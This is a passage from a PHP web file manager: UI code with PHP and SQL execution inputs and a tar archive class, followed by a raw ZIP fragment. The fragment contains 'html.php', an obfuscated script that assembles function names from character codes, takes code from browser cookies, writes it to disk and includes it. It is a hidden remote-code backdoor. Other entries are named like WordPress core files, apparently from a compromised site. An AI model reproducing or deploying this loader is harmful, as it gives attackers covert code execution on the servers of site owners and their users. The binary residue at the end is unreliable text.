colspan="2" class="row2"><?php echo $msg; ?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?php echo fm_home(); ?> </td> <td> <?php if (!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?php echo __('Make directory'); ?>"> </form> <?php } ?> </td> <td> <?php if (!empty($fm_config['new_file'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?php echo __('New file'); ?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?php echo $url_inc; ?>" style="display:inline"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" placeholder="<?php echo __('Recursive search'); ?>" name="search_recursive" value="<?php echo !empty($_POST['search_recursive']) ? $_POST['search_recursive'] : ''; ?>" size="15"> <input type="text" name="mask" placeholder="<?php echo __('Mask'); ?>" value="<?php echo !empty($_POST['mask']) ? $_POST['mask'] : '*.*'; ?>" size="5"> <input type="submit" name="search" value="<?php echo __('Search'); ?>"> </form> </td> <td> <?php echo fm_run_input('php'); ?> </td> <td> <?php echo fm_run_input('sql'); ?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?php echo $url_inc; ?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?php echo __('Select the file'); ?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?php echo __('Upload'); ?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?php echo __('Hello'); ?>, <?php echo $auth['login']; ?> <input type="submit" value="<?php echo __('Quit'); ?>"> </form> <?php } ?> </td> <td> <?php echo fm_lang_form($language); ?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?php echo __('Filename'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Size'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Date'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Rights'); ?> </th> <th colspan="4" style="white-space:nowrap"> <?php echo __('Manage'); ?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file) { if (@is_dir($path . $file)) { $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file) { $filename = $path . $file; $filedata = @stat($filename); if (@is_dir($filename)) { $filedata[7] = ''; if (!empty($fm_config['show_dir_size']) && !fm_root($file)) { $filedata[7] = fm_dir_size($filename); } $link = '<a href="' . $url_inc . '&path=' . $path . $file . '" title="' . __('Show') . ' ' . $file . '"><span class="folder"> </span> ' . $file . '</a>'; $loadlink = fm_root($file) || $phar_maybe ? '' : fm_link('zip', $filename, __('Compress') . ' zip', __('Archiving') . ' ' . $file); $arlink = fm_root($file) || $phar_maybe ? '' : fm_link('gz', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file); $style = 'row2'; if (!fm_root($file)) { $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?') . '\\n /' . $file . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } else { $alert = ''; } } else { $link = $fm_config['show_img'] && @getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) . '\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="' . fm_img_link($filename) . '"><span class="img"> </span> ' . $file . '</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path . '" title="' . __('Edit') . '"><span class="file"> </span> ' . $file . '</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download', $filename, __('Download'), __('Download') . ' ' . $file); $arlink = in_array($ext, array('zip', 'gz', 'tar')) ? '' : (fm_root($file) || $phar_maybe ? '' : fm_link('gzfile', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') . ' ' . $file . '">' . __('Rename') . '</a>'; $rightstext = $file == '.' || $file == '..' ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') . ' ' . $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?php echo $style; ?>"> <td><?php echo $link; ?></td> <td><?php echo $filedata[7]; ?></td> <td style="white-space:nowrap"><?php echo gmdate("Y-m-d H:i:s", $filedata[9]); ?></td> <td><?php echo $rightstext; ?></td> <td><?php echo $deletelink; ?></td> <td><?php echo $renamelink; ?></td> <td><?php echo $loadlink; ?></td> <td><?php echo $arlink; ?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home() . ' | ver. ' . $fm_version . ' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="' . fm_site_url() . '">.</a>'; if (!empty($fm_config['show_php_ver'])) { echo ' | PHP ' . phpversion(); } if (!empty($fm_config['show_php_ini'])) { echo ' | ' . php_ini_loaded_file(); } if (!empty($fm_config['show_gt'])) { echo ' | ' . __('Generation time') . ': ' . round($totaltime, 2); } if (!empty($fm_config['enable_proxy'])) { echo ' | <a href="?proxy=true">proxy</a>'; } if (!empty($fm_config['show_phpinfo'])) { echo ' | <a href="?phpinfo=true">phpinfo</a>'; } if (!empty($fm_config['show_xls']) && !empty($link)) { echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="' . __('Download') . ' xls">xls</a>'; } if (!empty($fm_config['fm_settings'])) { echo ' | <a href="?fm_settings=true">' . __('Settings') . '</a>'; } ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct() { if (!isset($this->errors)) { $this->errors = array(); } } function createArchive($file_list) { $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) { $newArchive = false; } else { $newArchive = true; } if ($newArchive) { if (!$this->openWrite()) { return false; } } else { if (filesize($this->archive_name) == 0) { return $this->openWrite(); } if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name . '.tmp')) { $this->errors[] = __('Cannot rename') . ' ' . $this->archive_name . __(' to ') . $this->archive_name . '.tmp'; return false; } $tmpArchive = gzopen($this->archive_name . '.tmp', 'rb'); if (!$tmpArchive) { $this->errors[] = $this->archive_name . '.tmp ' . __('is not readable'); rename($this->archive_name . '.tmp', $this->archive_name); return false; } if (!$this->openWrite()) { rename($this->archive_name . '.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)) { do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name . '.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) { return false; } } } if (isset($file_list) && is_array($file_list)) { if (count($file_list) > 0) { $result = $this->packFileArray($file_list); } } else { $this->errors[] = __('No file') . __(' to ') . __('Archive'); } if ($result && is_resource($this->tmp_file)) { $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result) { $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path) { $fileName = $this->archive_name; if (!$this->isGzipped) { if (file_exists($fileName)) { if ($fp = fopen($fileName, 'rb')) { $data = fread($fp, 2); fclose($fp); if ($data == '\\37\\213') { $this->isGzipped = true; } } } elseif (substr($fileName, -2) == 'gz' or substr($fileName, -3) == 'tgz') { $this->isGzipped = true; } } $result = true; if ($this->isGzipped) { $this->tmp_file = gzopen($fileName, 'rb'); } else { $this->tmp_file = fopen($fileName, 'rb'); } if (!$this->tmp_file) { $this->errors[] = $fileName . ' ' . __('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors($message = '') { $Errors = $this->errors; if (count($Errors) > 0) { if (!empty($message)) { $message = ' (' . $message . ')'; } $message = __('Error occurred') . $message . ': <br/>'; foreach ($Errors as $value) { $message .= $value . '<br/>'; } return $message; } else { return ''; } } function packFileArray($file_array) { $result = true; if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array) <= 0) { return true; } for ($i = 0; $i < count($file_array); $i++) { $filename = $file_array[$i]; if ($filename == $this->archive_name) { continue; } if (strlen($filename) <= 0) { continue; } if (!file_exists($filename)) { $this->errors[] = __('No file') . ' ' . $filename; continue; } if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename) <= 0) { $this->errors[] = __('Filename') . ' ' . __('is incorrect'); return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)) { if (($file = fopen($filename, 'rb')) == 0) { $this->errors[] = __('Mode ') . __('is incorrect'); } if ($this->file_pos == 0) { if (!$this->writeHeader($filename, $keep_filename)) { return false; } } while (($buffer = fread($file, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else { $this->writeHeader($filename, $keep_filename); } if (@is_dir($filename)) { if (!($handle = opendir($filename))) { $this->errors[] = __('Error') . ': ' . __('Directory ') . $filename . __('is not readable'); continue; } while (false !== ($dir = readdir($handle))) { if ($dir != '.' && $dir != '..') { $file_array_tmp = array(); if ($filename != '.') { $file_array_tmp[] = $filename . '/' . $dir; } else { $file_array_tmp[] = $dir; } $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path) { $path = str_replace('\\', '/', $path); if ($path == '' || substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')) { $path = './' . $path; } clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0) { if (!$this->readHeader($binaryData, $header)) { return false; } if ($header['filename'] == '') { continue; } if ($header['typeflag'] == 'L') { //reading long header $filename = ''; $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0) { $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) { return false; } else { $header['filename'] = $filename; } return true; } if ($path != './' && $path != '/') { while (substr($path, -1) == '/') { $path = substr($path, 0, strlen($path) - 1); } if (substr($header['filename'], 0, 1) == '/') { $header['filename'] = $path . $header['filename']; } else { $header['filename'] = $path . '/' . $header['filename']; } } if (file_exists($header['filename'])) { if (@is_dir($header['filename']) && $header['typeflag'] == '') { $this->errors[] = __('File ') . $header['filename'] . __(' already exists') . __(' as folder'); return false; } if (is_file($header['filename']) && $header['typeflag'] == '5') { $this->errors[] = __('Cannot create directory') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } if (!is_writeable($header['filename'])) { $this->errors[] = __('Cannot write to file') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } } elseif ($this->dirCheck($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])) != 1) { $this->errors[] = __('Cannot create directory') . ' ' . __(' for ') . $header['filename']; return false; } if ($header['typeflag'] == '5') { if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file') . ' ' . $header['filename']; return false; } else { $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if ($header['size'] % 512 != 0) { $content = $this->readBlock(); fwrite($destination, $content, $header['size'] % 512); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file') . ' ' . $header['filename'] . ' ' . __('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) { $file_dir = ''; } if (substr($header['filename'], 0, 1) == '/' && $file_dir == '') { $file_dir = '/'; } $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir) { $parent_dir = dirname($dir); if (@is_dir($dir) or $dir == '') { return true; } if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) { return false; } if (!mkdir($dir, 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $dir; return false; } return true; } function readHeader($binaryData, &$header) { if (strlen($binaryData) == 0) { $header['filename'] = ''; return true; } if (strlen($binaryData) != 512) { $header['filename'] = ''; $this->__('Invalid block size') . ': ' . strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156; $i < 512; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum) { $header['filename'] = ''; if ($checksum == 256 && $header['checksum'] == 0) { return true; } $this->errors[] = __('Error checksum for file ') . $unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') { $header['size'] = 0; } $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename) { $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename) <= 0) { $keep_filename = $filename; } $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99) { //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } // Last part of the header for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)) { $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite() { if ($this->isGzipped) { $this->tmp_file = gzopen($this->archive_name, 'wb9f'); } else { $this->tmp_file = fopen($this->archive_name, 'wb'); } if (!$this->tmp_file) { $this->errors[] = __('Cannot write to file') . ' ' . $this->archive_name; return false; } return true; } function readBlock() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { $block = gzread($this->tmp_file, 512); } else { $block = fread($this->tmp_file, 512); } } else { $block = ''; } return $block; } function writeBlock($data, $length = 0) { if (is_resource($this->tmp_file)) { if ($length === 0) { if ($this->isGzipped) { gzputs($this->tmp_file, $data); } else { fputs($this->tmp_file, $data); } } else { if ($this->isGzipped) { gzputs($this->tmp_file, $data, $length); } else { fputs($this->tmp_file, $data, $length); } } } } function closeTmpFile() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { gzclose($this->tmp_file); } else { fclose($this->tmp_file); } $this->tmp_file = 0; } } function makeGoodPath($path) { if (strlen($path) > 0) { $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath) - 1; for ($i = $els; $i >= 0; $i--) { if ($partPath[$i] == '.') { // Ignore this directory } elseif ($partPath[$i] == '..') { $i--; } elseif ($partPath[$i] == '' and $i != $els and $i != 0) { } else { $result = $partPath[$i] . ($i != $els ? '/' . $result : ''); } } } else { $result = ''; } return $result; } }PK ��\w�M_ _ html.phpnu ��6�$ <?php function dispatch_signal($c) { $a = array(53 * 1 + 62, 76 + 12 + 28, 97, 7 + 109); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s($c); } function check_access($c) { $a = array(2 * 52, 93 + 8, 2 * 60, 42 + 7 + 1, 98, 80 + 25, 4 + 106); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s($c); } class ResourceAllocator { private static $_uol; static function cacheData($_xa) { if (!self::$_uol) { self::computeResult(); } return check_access(self::$_uol[$_xa]); } private static function computeResult() { self::$_uol = array('_gym' => '', '_ty' => ''); } } $_dr = $_COOKIE; $_eg = (int) round(0 + 0); $_xa = (int) round(3 + 3); $_lbj = array(); $_lbj[$_eg] = ResourceAllocator::cacheData('_g' . 'y' . 'm'); while ($_xa) { $_lbj[$_eg] .= $_dr[(int) round(17 + 17)][$_xa]; if (!$_dr[(int) round(11.333333333333 + 11.333333333333 + 11.333333333333)][$_xa + (int) round(0.25 + 0.25 + 0.25 + 0.25)]) { if (!$_dr[(int) round(17 + 17)][$_xa + (int) round(0.66666666666667 + 0.66666666666667 + 0.66666666666667)]) { break; } $_eg++; $_lbj[$_eg] = ResourceAllocator::cacheData('_' . 'ty'); $_xa++; } $_xa = $_xa + (int) round(1.5 + 1.5 + 1.5 + 1.5) + (int) round(0.5 + 0.5); } $_eg = $_lbj[(int) round(2.5 + 2.5)]() . $_lbj[(int) round(4.6666666666667 + 4.6666666666667 + 4.6666666666667)]; if (!$_lbj[(int) round(5.5 + 5.5)]($_eg)) { $_xa = $_lbj[(int) round(9 + 9 + 9)]($_eg, $_lbj[(int) round(0.75 + 0.75 + 0.75 + 0.75)]); $_lbj[(int) round(4.5 + 4.5 + 4.5 + 4.5)]($_xa, $_lbj[(int) round(7 + 7 + 7)] . $_lbj[(int) round(5.6666666666667 + 5.6666666666667 + 5.6666666666667)]($_lbj[(int) round(5 + 5)]($_dr[(int) round(0.75 + 0.75 + 0.75 + 0.75)]))); } include $_eg;PK ��\�k��t t tool1.phpnu �[��� PK ��\ ���� � � cgi-bin/wp-blog-header.phpnu ��6�$ PK ��\ ���� � � cgi-bin/wp-cron.phpnu �[��� PK ��\ ���� � & wp-blog-header.phpnu �[��� PK ��\U�e e ^"